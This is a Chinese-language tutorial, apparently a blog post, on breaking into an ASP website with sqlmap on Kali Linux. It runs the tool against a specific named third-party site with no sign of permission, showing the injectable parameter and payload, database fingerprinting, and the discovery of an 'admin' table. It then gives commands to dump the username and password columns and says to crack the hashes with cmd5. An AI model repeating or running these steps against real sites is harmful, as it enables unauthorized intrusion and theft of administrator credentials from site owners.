通过kali渗透ASP网站
1.打开终端输入
sqlmap -u "网址" ———————————————————————————————————————————————————————————————————————————————————————— root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-201707310a89} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 10:31:49 [10:31:50] [INFO] testing connection to the target URL [10:31:52] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [10:31:56] [INFO] testing if the target URL is stable [10:31:59] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c [10:32:33] [INFO] testing if GET parameter 'ID' is dynamic [10:32:33] [INFO] confirming that GET parameter 'ID' is dynamic [10:32:33] [INFO] GET parameter 'ID' is dynamic [10:32:37] [INFO] heuristic (basic) test shows that GET parameter 'ID' might be injectable [10:32:37] [INFO] testing for SQL injection on GET parameter 'ID' [10:32:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [10:32:38] [WARNING] reflective value(s) found and filtering out [10:32:42] [INFO] GET parameter 'ID' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [10:32:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [10:32:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [10:32:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [10:32:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [10:32:44] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [10:32:44] [INFO] testing 'MySQL inline queries' [10:32:44] [INFO] testing 'PostgreSQL inline queries' [10:32:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [10:32:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [10:32:45] [WARNING] time-based comparison requires larger statistical model, please wait............ [10:33:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [10:33:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [10:33:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [10:33:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [10:33:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [10:33:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [10:33:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [10:33:22] [INFO] testing 'Oracle AND time-based blind' [10:33:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [10:33:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [10:33:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [10:33:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [10:33:44] [INFO] checking if the injection point on GET parameter 'ID' is a false positive GET parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 82 HTTP(s) requests: --- Parameter: ID (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ID=3239 AND 1305=1305 --- [10:37:45] [INFO] testing MySQL [10:37:46] [WARNING] the back-end DBMS is not MySQL [10:37:46] [INFO] testing Oracle [10:37:47] [WARNING] the back-end DBMS is not Oracle [10:37:47] [INFO] testing PostgreSQL [10:37:47] [WARNING] the back-end DBMS is not PostgreSQL [10:37:47] [INFO] testing Microsoft SQL Server [10:37:48] [WARNING] the back-end DBMS is not Microsoft SQL Server [10:37:48] [INFO] testing SQLite [10:37:48] [WARNING] the back-end DBMS is not SQLite [10:37:48] [INFO] testing Microsoft Access [10:37:51] [INFO] confirming Microsoft Access [10:37:53] [INFO] the back-end DBMS is Microsoft Access ------------------------------------------------------------------------------------ | web server operating system: Windows 2003 or XP | | web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 | | back-end DBMS: Microsoft Access | ------------------------------------------------------------------------------------ [10:37:53] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 67 times [10:37:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/40.cavtc.cn' [*] shutting down at 10:37:53
#### 如果有漏洞会返回数据库相关信息
2.猜解表名
sqlmap -u "网址" --tables root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" --tables _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-201707310a89} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 10:41:45 [10:41:45] [INFO] resuming back-end DBMS 'microsoft access' [10:41:47] [INFO] testing connection to the target URL [10:41:49] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS sqlmap resumed the following injection point(s) from stored session: --- Parameter: ID (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ID=3239 AND 1305=1305 --- [10:41:52] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: Microsoft Access [10:41:52] [INFO] fetching tables for database: 'Microsoft_Access_masterdb' [10:41:52] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb' [10:41:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [10:41:52] [INFO] retrieved: [10:41:53] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' [10:41:53] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb' [10:41:53] [ERROR] cannot retrieve table names, back-end DBMS is Access do you want to use common table existence check? [Y/n/q] y // 此处默认选y [10:41:59] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt' [10:41:59] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 10 // 线程设置为10即可 [10:42:06] [INFO] starting 10 threads [10:42:12] [INFO] retrieved: admin [10:42:13] [INFO] retrieved: news [10:42:38] [INFO] retrieved: ads Database: Microsoft_Access_masterdb [3 tables] +-------+ | admin | | ads | | news | +-------+ [10:45:43] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 3144 times [10:45:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/40.cavtc.cn' [*] shutting down at 10:45:43
根据经验确定用户名(username,password)
3.猜解列名(字段)
sqlmap -u "网址" --columns -T "表名(上一步确定的)"
1 | root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" --columns -T "admin" |
#### --columns 猜列名 根据表 “表名”
#### 一般会出现username,那么密码字段一定是password
4.下载数据
sqlmap -u "网址" --dump -C "username,password" -T "user"
1 | root@kali:~# sqlmap -u "http://40.cavtc.cn/NewsShow.aspx?ID=3239" --dump -C "username,password" |
#### --dump 下载数据
#### -C "username,password" -T "列名" (','是一种多列显示的方法)
- 5.成功获得用户名与密码(cmd5解密)